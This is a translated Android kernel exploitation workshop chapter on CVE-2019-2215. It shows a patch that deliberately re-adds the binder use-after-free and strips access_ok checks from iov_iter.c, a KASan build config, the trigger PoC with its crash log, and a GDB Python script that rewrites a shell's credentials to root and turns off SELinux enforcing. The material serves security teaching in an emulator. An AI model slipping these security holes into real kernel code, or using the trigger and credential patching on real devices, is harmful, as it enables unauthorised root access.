在“ Android内核源码”部分中,我们同步了 q-goldfish-android-goldfish-4.14-dev分支。但是,CVE-2019-2215已在q-goldfish-android-goldfish-4.14-dev中进行了修补。

我们将通过应用自定义补丁来重新引入该漏洞,然后使用Kernel Address Sanitizer(KASan)对其进行重新编译。

重新引入漏洞

可以在目录中找到自定义补丁workshop/patch,它将再次引入该漏洞。

 diff --git a/drivers/android/binder.c b/drivers/android/binder.c
 index f6ddec245187..55e2748a13e4 100644
 --- a/drivers/android/binder.c
 +++ b/drivers/android/binder.c
 @@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc,
       * waitqueue_active() is safe to use here because we're holding
       * the inner lock.
       */
 +    /*
      if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
          waitqueue_active(&thread->wait)) {
          wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
      }
 +    */
 
      binder_inner_proc_unlock(thread->proc);
 
 @@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc,
       * descriptor being closed); ep_remove_waitqueue() holds an RCU read
       * lock, so we can be sure it's done after calling synchronize_rcu().
       */
 +    /*
      if (thread->looper & BINDER_LOOPER_STATE_POLL)
          synchronize_rcu();
 +    */
 
      if (send_reply)
          binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
 diff --git a/lib/iov_iter.c b/lib/iov_iter.c
 index 7b2fd5f251f2..67af61637f55 100644
 --- a/lib/iov_iter.c
 +++ b/lib/iov_iter.c
 @@ -132,19 +132,21 @@
 
  static int copyout(void __user *to, const void *from, size_t n)
  {
 -    if (access_ok(VERIFY_WRITE, to, n)) {
 +    /*if (access_ok(VERIFY_WRITE, to, n)) {
          kasan_check_read(from, n);
          n = raw_copy_to_user(to, from, n);
 -    }
 +    }*/
 +    n = raw_copy_to_user(to, from, n);
      return n;
  }
 
  static int copyin(void *to, const void __user *from, size_t n)
  {
 -    if (access_ok(VERIFY_READ, from, n)) {
 +    /*if (access_ok(VERIFY_READ, from, n)) {
          kasan_check_write(to, n);
          n = raw_copy_from_user(to, from, n);
 -    }
 +    }*/
 +    n = raw_copy_from_user(to, from, n);
      return n;
  }

应用补丁程序,看看修改了哪些文件。

 ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/
 ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status
 Not currently on any branch.
 nothing to commit, working tree clean
 ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git apply ~/workshop/patch/cve-2019-2215.patch
 ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status
 Not currently on any branch.
 Changes not staged for commit:
   (use "git add ..." to update what will be committed)
   (use "git checkout -- ..." to discard changes in working directory)
 
     modified:   drivers/android/binder.c
     modified:   lib/iov_iter.c
 
 no changes added to commit (use "git add" and/or "git commit -a")

补丁drivers/android/binder.c程序很好理解。

用KASan重新编译内核

要使用KASan支持编译内核,我们需要一个配置文件,可以在workshop/build-configs/goldfish.x86_64.kasan目录中找到配置文件。

 ARCH=x86_64
 BRANCH=kasan
 
 CC=clang
 CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin
 BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86
 CLANG_TRIPLE=x86_64-linux-gnu-
 CROSS_COMPILE=x86_64-linux-androidkernel-
 LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin
 
 KERNEL_DIR=goldfish
 EXTRA_CMDS=''
 STOP_SHIP_TRACEPRINTK=1
 
 FILES="
 arch/x86/boot/bzImage
 vmlinux
 System.map
 "
 
 DEFCONFIG=x86_64_ranchu_defconfig
 POST_DEFCONFIG_CMDS="check_defconfig && update_kasan_config"
 
 function update_kasan_config() {
     ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \
          -e CONFIG_KASAN \
          -e CONFIG_KASAN_INLINE \
          -e CONFIG_TEST_KASAN \
          -e CONFIG_KCOV \
          -e CONFIG_SLUB \
          -e CONFIG_SLUB_DEBUG \
          -e CONFIG_SLUB_DEBUG_ON \
          -d CONFIG_SLUB_DEBUG_PANIC_ON \
          -d CONFIG_KASAN_OUTLINE \
          -d CONFIG_KERNEL_LZ4 \
          -d CONFIG_RANDOMIZE_BASE
     (cd ${OUT_DIR} && \
      make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig)
 }

使用此配置文件并开始编译。

 ashfaq@hacksys:~/workshop/android-4.14-dev$ BUILD_CONFIG=../build-configs/goldfish.x86_64.kasan build/build.sh

你可以在workshop/android-4.14-dev/out/kasan/dist中找到内置的内核和其他文件。

 ashfaq@hacksys:~/workshop/android-4.14-dev$ nm out/kasan/dist/vmlinux | grep kasan | head 
 000000004cfd027e A __crc_kasan_check_read
 000000009da7c655 A __crc_kasan_check_write
 0000000074961168 A __crc_kasan_kmalloc
 0000000047f78877 A __crc_kasan_restore_multi_shot
 0000000097645739 A __crc_kasan_save_enable_multi_shot
 ffffffff806d4d62 T kasan_add_zero_shadow
 ffffffff806d3a9c T kasan_alloc_pages
 ffffffff806d3b44 T kasan_cache_create
 ffffffff806d55b9 T kasan_cache_shrink
 ffffffff806d55c4 T kasan_cache_shutdown

引导内核启动

在模拟器中启动该自定义内核。

 ashfaq@hacksys:~/workshop/android-4.14-dev$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage

注意: -show-kernelflag用于在终端窗口中显示内核调试消息。在此处阅读有关模拟器命令行flag的更多信息https://developer.android.com/studio/run/emulator-commandline

在运行上述命令后查看终端窗口中显示的内核日志,会发现如下回显:

[    0.000000] kasan: KernelAddressSanitizer initialized

这表明我们能够成功引导使用KASan支持编译的自定义内核。

崩溃

从原始漏洞报告中获取PoC,看看我们是否能够触发该漏洞并产生KASan崩溃。

你可以在 workshop/exploit/trigger.cpp中找到触发的PoC。我提供了一个Makefile,你可以用来构建PoC并将其推送到虚拟设备。

 #include  #include  #include  #include  
 #define BINDER_THREAD_EXIT 0x40046208ul
 
 int main() {
     int fd, epfd;
     struct epoll_event event = {.events = EPOLLIN};
 
     fd = open("/dev/binder", O_RDONLY);
     epfd = epoll_create(1000);
     epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
     ioctl(fd, BINDER_THREAD_EXIT, NULL);
 }
 ashfaq@hacksys:~/workshop$ cd exploit/
 ashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger
 Building: cve-2019-2215-trigger
 Pushing: cve-2019-2215-trigger to /data/local/tmp
 cve-2019-2215-trigger: 1 file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in 0.084s)
 ashfaq@hacksys:~/workshop/exploit$ adb shell
 generic_x86_64:/ $ uname -a
 Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64
 generic_x86_64:/ $ cd /data/local/tmp
 generic_x86_64:/data/local/tmp $ ./cve-2019-2215-trigger
 generic_x86_64:/data/local/tmp $

在启动仿真器的终端窗口中查看KASan崩溃日志。

 [  382.398561] ==================================================================
 [  382.402796] BUG: KASAN: use-after-free in _raw_spin_lock_irqsave+0x3a/0x5d
 [  382.405929] Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682
 [  382.409386] 
 [  382.410127] CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G        W       4.14.150+ #1
 [  382.413871] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014
 [  382.417931] Call Trace:
 [  382.419106]  dump_stack+0x78/0xbe
 [  382.420596]  print_address_description+0x81/0x25d
 [  382.422146]  ? _raw_spin_lock_irqsave+0x3a/0x5d
 [  382.423691]  __kasan_report+0x14f/0x180
 [  382.425082]  ? _raw_spin_lock_irqsave+0x3a/0x5d
 [  382.426437]  kasan_report+0x26/0x49
 [  382.427468]  check_memory_region+0x171/0x17e
 [  382.428725]  kasan_check_write+0x14/0x16
 [  382.429884]  _raw_spin_lock_irqsave+0x3a/0x5d
 [  382.431010]  remove_wait_queue+0x27/0x122
 [  382.432003]  ? fsnotify_unmount_inodes+0x1e8/0x1e8
 [  382.433156]  ep_unregister_pollwait+0x160/0x1bd
 [  382.434252]  ep_free+0x8b/0x181
 [  382.435024]  ? ep_eventpoll_poll+0x228/0x228
 [  382.435953]  ep_eventpoll_release+0x48/0x54
 [  382.436825]  __fput+0x1f2/0x51d
 [  382.437483]  ____fput+0x15/0x18
 [  382.438145]  task_work_run+0x127/0x154
 [  382.438932]  do_exit+0x818/0x2384
 [  382.439642]  ? mm_update_next_owner+0x52f/0x52f
 [  382.440555]  do_group_exit+0x12c/0x24b
 [  382.441247]  ? do_group_exit+0x24b/0x24b
 [  382.441964]  SYSC_exit_group+0x17/0x17
 [  382.442652]  SyS_exit_group+0x14/0x14
 [  382.443264]  do_syscall_64+0x19e/0x225
 [  382.443920]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
 [  382.444784] RIP: 0033:0x4047d7
 [  382.445341] RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
 [  382.446661] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7
 [  382.447904] RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000
 [  382.449190] RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000
 [  382.450517] R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190
 [  382.451889] R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0
 [  382.453146] 
 [  382.453427] Allocated by task 7682:
 [  382.454054]  save_stack_trace+0x16/0x18
 [  382.454738]  __kasan_kmalloc+0x133/0x1cc
 [  382.455445]  kasan_kmalloc+0x9/0xb
 [  382.456063]  kmem_cache_alloc_trace+0x1bd/0x26f
 [  382.456869]  binder_get_thread+0x166/0x6db
 [  382.457605]  binder_poll+0x4c/0x1c2
 [  382.458235]  SyS_epoll_ctl+0x1558/0x24f0
 [  382.458910]  do_syscall_64+0x19e/0x225
 [  382.459598]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
 [  382.460525]  0xffffffffffffffff
 [  382.461085] 
 [  382.461334] Freed by task 7682:
 [  382.461762]  save_stack_trace+0x16/0x18
 [  382.462222]  __kasan_slab_free+0x18f/0x23f
 [  382.462711]  kasan_slab_free+0xe/0x10
 [  382.463149]  kfree+0x193/0x5b3
 [  382.463538]  binder_thread_dec_tmpref+0x192/0x1d9
 [  382.464095]  binder_thread_release+0x464/0x4bd
 [  382.464623]  binder_ioctl+0x48a/0x101c
 [  382.465071]  do_vfs_ioctl+0x608/0x106a
 [  382.465518]  SyS_ioctl+0x75/0xa4
 [  382.465906]  do_syscall_64+0x19e/0x225
 [  382.466358]  entry_SYSCALL_64_after_hwframe+0x3d/0xa2
 [  382.466953]  0xffffffffffffffff
 [  382.467335] 
 [  382.467783] The buggy address belongs to the object at ffff88804e486528
 [  382.467783]  which belongs to the cache kmalloc-512 of size 512
 [  382.469983] The buggy address is located 160 bytes inside of
 [  382.469983]  512-byte region [ffff88804e486528, ffff88804e486728)
 [  382.472065] The buggy address belongs to the page:
 [  382.472915] page:ffffea0001392100 count:1 mapcount:0 mapping:          (null) index:0xffff88804e4872a8 compound_mapcount: 0
 [  382.474871] flags: 0x4000000000010200(slab|head)
 [  382.475744] raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e
 [  382.476960] raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000
 [  382.478072] page dumped because: kasan: bad access detected
 [  382.478784] 
 [  382.478973] Memory state around the buggy address:
 [  382.479571]  ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 [  382.480479]  ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb
 [  382.481318] >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 [  382.482155]                                               ^
 [  382.482806]  ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 [  382.483648]  ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 [  382.484485] ==================================================================

崩溃日志中需要注意的几件事:

· 这是一个Use after Free漏洞

· 在悬空的块中写入4个字节时崩溃

· 悬空的块属于kmalloc-512缓存

KASan符号器

上面的崩溃日志不是很直观。我们可以使用kasan_symbolize.py来符号化堆栈跟踪。

 ashfaq@hacksys:/tmp$ cat report.txt | python kasan_symbolize.py --linux=~/workshop/android-4.14-dev/out/kasan/ --strip=/home/ashfaq/workshop/android-4.14-dev/goldfish/
 ==================================================================
 BUG: KASAN: use-after-free in[<     inline     >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
 BUG: KASAN: use-after-free in[<     inline     >] queued_spin_lock include/asm-generic/qspinlock.h:87
 BUG: KASAN: use-after-free in[<     inline     >] do_raw_spin_lock_flags include/linux/spinlock.h:173
 BUG: KASAN: use-after-free in[<     inline     >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
 BUG: KASAN: use-after-free in[<        none        >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
 Write of size 4 at addr ffff88804e4865c8 by task cve-2019-2215-t/7682
 
 CPU: 1 PID: 7682 Comm: cve-2019-2215-t Tainted: G        W       4.14.150+ #1
 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org 04/01/2014
 Call Trace:
 [<     inline     >] __dump_stack lib/dump_stack.c:17
 [<        none        >] dump_stack+0x78/0xbe lib/dump_stack.c:53
 [<        none        >] print_address_description+0x81/0x25d mm/kasan/report.c:187
  ?[<     inline     >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
  ?[<     inline     >] queued_spin_lock include/asm-generic/qspinlock.h:87
  ?[<     inline     >] do_raw_spin_lock_flags include/linux/spinlock.h:173
  ?[<     inline     >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
  ?[<        none        >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
 [<        none        >] __kasan_report+0x14f/0x180 mm/kasan/report.c:316
  ?[<     inline     >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
  ?[<     inline     >] queued_spin_lock include/asm-generic/qspinlock.h:87
  ?[<     inline     >] do_raw_spin_lock_flags include/linux/spinlock.h:173
  ?[<     inline     >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
  ?[<        none        >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
 [<        none        >] kasan_report+0x26/0x49 mm/kasan/common.c:626
 [<     inline     >] check_memory_region_inline mm/kasan/generic.c:182
 [<        none        >] check_memory_region+0x171/0x17e mm/kasan/generic.c:191
 [<        none        >] kasan_check_write+0x14/0x16 mm/kasan/common.c:106
 [<     inline     >] atomic_cmpxchg include/asm-generic/atomic-instrumented.h:57
 [<     inline     >] queued_spin_lock include/asm-generic/qspinlock.h:87
 [<     inline     >] do_raw_spin_lock_flags include/linux/spinlock.h:173
 [<     inline     >] __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:119
 [<        none        >] _raw_spin_lock_irqsave+0x3a/0x5d kernel/locking/spinlock.c:160
 [<        none        >] remove_wait_queue+0x27/0x122 kernel/sched/wait.c:50
  ?[<        none        >] fsnotify_unmount_inodes+0x1e8/0x1e8 fs/notify/fsnotify.c:99
 [<     inline     >] ep_remove_wait_queue fs/eventpoll.c:612
 [<        none        >] ep_unregister_pollwait+0x160/0x1bd fs/eventpoll.c:630
 [<        none        >] ep_free+0x8b/0x181 fs/eventpoll.c:847
  ?[<        none        >] ep_eventpoll_poll+0x228/0x228 fs/eventpoll.c:942
 [<        none        >] ep_eventpoll_release+0x48/0x54 fs/eventpoll.c:879
 [<        none        >] __fput+0x1f2/0x51d fs/file_table.c:210
 [<        none        >] ____fput+0x15/0x18 fs/file_table.c:244
 [<        none        >] task_work_run+0x127/0x154 kernel/task_work.c:113
 [<     inline     >] exit_task_work include/linux/task_work.h:22
 [<        none        >] do_exit+0x818/0x2384 kernel/exit.c:875
  ?[<        none        >] mm_update_next_owner+0x52f/0x52f kernel/exit.c:468
 [<        none        >] do_group_exit+0x12c/0x24b kernel/exit.c:978
  ?[<     inline     >] spin_unlock_irq include/linux/spinlock.h:367
  ?[<        none        >] do_group_exit+0x24b/0x24b kernel/exit.c:975
 [<        none        >] SYSC_exit_group+0x17/0x17 kernel/exit.c:989
 [<        none        >] SyS_exit_group+0x14/0x14 kernel/exit.c:987
 [<        none        >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
 [<        none        >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
 RIP: 0033:0x4047d7
 RSP: 002b:00007ffe9760fe18 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004047d7
 RDX: 0000000000000002 RSI: 0000000000001000 RDI: 0000000000000000
 RBP: 0000000000000000 R08: 0000000000482335 R09: 0000000000000000
 R10: 00007ffe9760fe10 R11: 0000000000000246 R12: 0000000000400190
 R13: 00000000004a4618 R14: 00000000004002e0 R15: 00007ffe9760fee0
 
 Allocated by task 7682:
 [<        none        >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59
 [<     inline     >] save_stack mm/kasan/common.c:76
 [<     inline     >] set_track mm/kasan/common.c:85
 [<        none        >] __kasan_kmalloc+0x133/0x1cc mm/kasan/common.c:501
 [<        none        >] kasan_kmalloc+0x9/0xb mm/kasan/common.c:515
 [<        none        >] kmem_cache_alloc_trace+0x1bd/0x26f mm/slub.c:2819
 [<     inline     >] kmalloc include/linux/slab.h:488
 [<     inline     >] kzalloc include/linux/slab.h:661
 [<        none        >] binder_get_thread+0x166/0x6db drivers/android/binder.c:4677
 [<        none        >] binder_poll+0x4c/0x1c2 drivers/android/binder.c:4805
 [<     inline     >] ep_item_poll fs/eventpoll.c:888
 [<     inline     >] ep_insert fs/eventpoll.c:1476
 [<     inline     >] SYSC_epoll_ctl fs/eventpoll.c:2128
 [<        none        >] SyS_epoll_ctl+0x1558/0x24f0 fs/eventpoll.c:2014
 [<        none        >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
 [<        none        >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
  0xffffffffffffffff
 
 Freed by task 7682:
 [<        none        >] save_stack_trace+0x16/0x18 arch/x86/kernel/stacktrace.c:59
 [<     inline     >] save_stack mm/kasan/common.c:76
 [<     inline     >] set_track mm/kasan/common.c:85
 [<        none        >] __kasan_slab_free+0x18f/0x23f mm/kasan/common.c:463
 [<        none        >] kasan_slab_free+0xe/0x10 mm/kasan/common.c:471
 [<     inline     >] slab_free_hook mm/slub.c:1407
 [<     inline     >] slab_free_freelist_hook mm/slub.c:1458
 [<     inline     >] slab_free mm/slub.c:3039
 [<        none        >] kfree+0x193/0x5b3 mm/slub.c:3976
 [<     inline     >] binder_free_thread drivers/android/binder.c:4705
 [<        none        >] binder_thread_dec_tmpref+0x192/0x1d9 drivers/android/binder.c:2053
 [<        none        >] binder_thread_release+0x464/0x4bd drivers/android/binder.c:4794
 [<        none        >] binder_ioctl+0x48a/0x101c drivers/android/binder.c:5062
 [<        none        >] do_vfs_ioctl+0x608/0x106a fs/ioctl.c:46
 [<     inline     >] SYSC_ioctl fs/ioctl.c:701
 [<        none        >] SyS_ioctl+0x75/0xa4 fs/ioctl.c:692
 [<        none        >] do_syscall_64+0x19e/0x225 arch/x86/entry/common.c:292
 [<        none        >] entry_SYSCALL_64_after_hwframe+0x3d/0xa2 arch/x86/entry/entry_64.S:233
  0xffffffffffffffff
 
 The buggy address belongs to the object at ffff88804e486528
  which belongs to the cache kmalloc-512 of size 512
 The buggy address is located 160 bytes inside of
  512-byte region [ffff88804e486528, ffff88804e486728)
 The buggy address belongs to the page:
 page:ffffea0001392100 count:1 mapcount:0 mapping:          (null) index:0xffff88804e4872a8 compound_mapcount: 0
 flags: 0x4000000000010200(slab|head)
 raw: 4000000000010200 0000000000000000 ffff88804e4872a8 000000010012000e
 raw: ffffea00015fb220 ffff88805ac01650 ffff88805ac0cf40 0000000000000000
 page dumped because: kasan: bad access detected
 
 Memory state around the buggy address:
  ffff88804e486480: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
  ffff88804e486500: fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb fb
 >ffff88804e486580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                               ^
  ffff88804e486600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
  ffff88804e486680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ==================================================================

这比以前的崩溃日志有用吗?

0x05 GDB脚本提权

在转到“ 根本原因分析”这一章之前,让我们首先了解如何使用自定义GDB脚本实现特权升级。

在Build Kernel和Boot Kernel中,你学习了如何在模拟器中构建和引导自定义内核。

GDB支持python脚本编写,让我们看看如何使用python进行自动化调试。

内核调试

仿真器qemu在后台使用,它支持gdbstub的gdbserver。如果我们有相应内核的文件,则可以使用vmlinux进行内核调试。

让我们启动我们编译的自定义内核,但是这次启用了gdbstub。为此,我们将需要两个终端窗口。

在第一个窗口,我们将运行模拟器与gdbstub启用。

 ashfaq@hacksys:~/workshop$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage -qemu -s -S

注意: -qemu arguments声明下一个参数将传递给qemu仿真器。-s参数是qemu的简写-gdb tcp::1234。-S参数使qemu等待调试器连接。

在第二个窗口中,我们将使用GDB附加到qemu实例。

 ashfaq@hacksys:~/workshop$ gdb -quiet ~/workshop/android-4.14-dev/out/kasan/dist/vmlinux -ex 'target remote :1234'
 GEF for linux ready, type `gef' to start, `gef config' to configure
 77 commands loaded for GDB 8.2 using Python engine 2.7
 [*] 3 commands could not be loaded, run `gef missing` to know why.
 Reading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done.
 Remote debugging using :1234
 warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
 warning: Could not load XML target description; ignoring
 0x000000000000fff0 in exception_stacks ()
 gef> c
 Continuing.

一旦Android完全启动,就可以打开第三个终端窗口并启动adbShell。

 ashfaq@hacksys:~/workshop$ adb shell
 generic_x86_64:/ $ uname -a
 Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64
 generic_x86_64:/ $ id
 uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
 generic_x86_64:/ $ 
 generic_x86_64:/ $ dmesg
 dmesg: klogctl: Permission denied
 1|generic_x86_64:/ $ 
 1|generic_x86_64:/ $ pidof sh                                                                                        
 7474
 generic_x86_64:/ $

在adbshell窗口中,我们可以看到当前正在运行,uid=2000(shell) gid=2000(shell)并且没有查看权限dmesg。要阅读dmesg,我们将需要root特权。

pidof sh是7474,我们的目标是将内核调试与GDB自动化一起使用来进行特权升级,并为sh过程提供root特权。

现在,在GDB窗口中,按CTRL + C断开GDB,以便我们可以发出一些命令。

你可以在~/workshop/gdb中找到root-me.py基于GDBpython脚本构建的自动化工具。

 # -*- coding: utf-8 -*-
 
 import gdb
 import struct
 
 [...]
 
 def write32(address, value):
     gdb.selected_inferior().write_memory(address, struct.pack("<i", value), 4)
 
 def write64(address, value):
     gdb.selected_inferior().write_memory(address, struct.pack("<Q", value), 8)
 
 def root_me(task):
     cred = task["cred"]
 
     uid = cred["uid"]
     gid = cred["gid"]
     suid = cred["suid"]
     sgid = cred["sgid"]
     euid = cred["euid"]
     egid = cred["egid"]
     fsuid = cred["fsuid"]
     fsgid = cred["fsgid"]
 
     securebits = cred["securebits"]
 
     cap_inheritable = cred["cap_inheritable"]
     cap_permitted = cred["cap_permitted"]
     cap_effective = cred["cap_effective"]
     cap_bset = cred["cap_bset"]
     cap_ambient = cred["cap_ambient"]
 
     write32(uid.address, 0)    # GLOBAL_ROOT_UID = 0
     write32(gid.address, 0)    # GLOBAL_ROOT_GID = 0
     write32(suid.address, 0)   # GLOBAL_ROOT_UID = 0
     write32(sgid.address, 0)   # GLOBAL_ROOT_GID = 0
     write32(euid.address, 0)   # GLOBAL_ROOT_UID = 0
     write32(egid.address, 0)   # GLOBAL_ROOT_GID = 0
     write32(fsuid.address, 0)  # GLOBAL_ROOT_UID = 0
     write32(fsgid.address, 0)  # GLOBAL_ROOT_GID = 0
 
     write32(securebits.address, 0)  # SECUREBITS_DEFAULT = 0
 
     write64(cap_inheritable.address, 0)           # CAP_EMPTY_SET = 0x0000000000000000
     write64(cap_permitted.address, 0x3FFFFFFFFF)  # CAP_FULL_SET = 0x0000003FFFFFFFFF
     write64(cap_effective.address, 0x3FFFFFFFFF)  # CAP_FULL_SET = 0x0000003FFFFFFFFF
     write64(cap_bset.address, 0x3FFFFFFFFF)       # CAP_FULL_SET = 0x0000003FFFFFFFFF
     write64(cap_ambient.address, 0)               # CAP_EMPTY_SET = 0x0000000000000000
 
 [...]
 
 def disable_selinux_enforcing():
     selinux_enforcing = gdb.parse_and_eval("selinux_enforcing")
     write32(selinux_enforcing.address, 0)
 
 [...]
 
 class RootByPidFunc(gdb.Command):
     def __init__(self):
         super(RootByPidFunc, self).__init__("root-by-pid", gdb.COMMAND_DATA)
 
     def invoke(self, arg, from_tty):
         argv = gdb.string_to_argv(arg)
 
         if not argv:
             raise gdb.GdbError("PID not provided")
 
         pid = int(argv[0])
         task = get_task_by_pid(pid)
 
         if not task:
             raise gdb.GdbError("No task of PID: {0}".format(pid))
 
         [...]
         root_me(task)
         [...]
         disable_selinux_enforcing()
         [...]
 
 # register the commands
 [...]
 RootByPidFunc()

让我们将此文件加载到GDB中,并赋予root特权以sh使用pid 7474进行处理。

 gef> c
 Continuing.
 ^C
 Thread 1 received signal SIGINT, Interrupt.
 native_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
 61    }
 gef> source ~/workshop/gdb/root-me.py 
 gef> root-by-pid 7474
 [+] Rooting
     [*] PID: 0x1d32
     [*] Cmd: sh
     [*] Task: 0xffff888033521d40
 [+] Patching cred
     [*] Cred: 0xffff8880580f1480
 [+] Patching selinux_enforcing
     [*] selinux_enforcing: 0xffffffff82b34028  [*] Rooting complete
 gef> c
 Continuing.

让我们验证sh进程是否具有root特权。

 generic_x86_64:/ $ dmesg
 dmesg: klogctl: Permission denied
 1|generic_x86_64:/ $ 
 1|generic_x86_64:/ $ id
 uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
 generic_x86_64:/ $
 generic_x86_64:/ $ dmesg | head                                                                                    
 [   34.036876] apexd: Scanning /product/apex for embedded keys
 [   34.037889] apexd: ... does not exist. Skipping
 [   34.038743] apexd: Populating APEX database from mounts...
 [   34.040108] apexd: Failed to walk /product/apex : Can't open /product/apex for reading : No such file or directory
 [   34.042497] apexd: Found "/apex/com.android.tzdata@290000000"
 [   34.043586] apexd: Found "/apex/com.android.runtime@1"
 [   34.044542] apexd: 2 packages restored.
 [   34.054885] type=1400 audit(1586624810.629:5): avc: denied { getattr } for comm="ls" path="/data/misc" dev="vdc" ino=13 scontext=u:r:toolbox:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0
 [   34.057660] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0
 [   34.073716] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0

提权成功了,我们将使用内核漏洞实现相同的目标。

本文翻译自:https://cloudfuzz.github.io/android-kernel-exploitation/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/7O9G
如有侵权请联系:admin#unsafe.sh